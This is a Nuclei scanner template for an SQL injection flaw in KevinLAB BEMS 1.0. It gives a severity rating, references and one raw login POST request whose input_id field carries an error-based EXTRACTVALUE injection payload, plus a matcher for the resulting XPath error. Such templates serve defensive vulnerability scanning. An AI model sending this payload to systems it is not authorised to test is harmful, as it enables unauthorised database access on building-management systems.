id: kevinlab-bems-sqli

info:
  name: KevinLAB BEMS 1.0 - SQL Injection
  author: gy741
  severity: critical
  description: KevinLAB BEMS 1.0 contains a SQL injection vulnerability. Input passed through input_id POST parameter in /http/index.php is not properly sanitized before being returned to the user or used in SQL queries. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php
    - https://www.exploit-db.com/exploits/50146
    - https://packetstormsecurity.com/files/163572/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 1
  tags: kevinlab,sqli,edb,packetstorm

http:
  - raw:
      - |
        POST /http/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Accept-Encoding: gzip, deflate

        requester=login&request=login&params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "XPATH syntax error"
          - ": '\\ZSL1ZSL'"
        condition: and

      - type: status
        status:
          - 200

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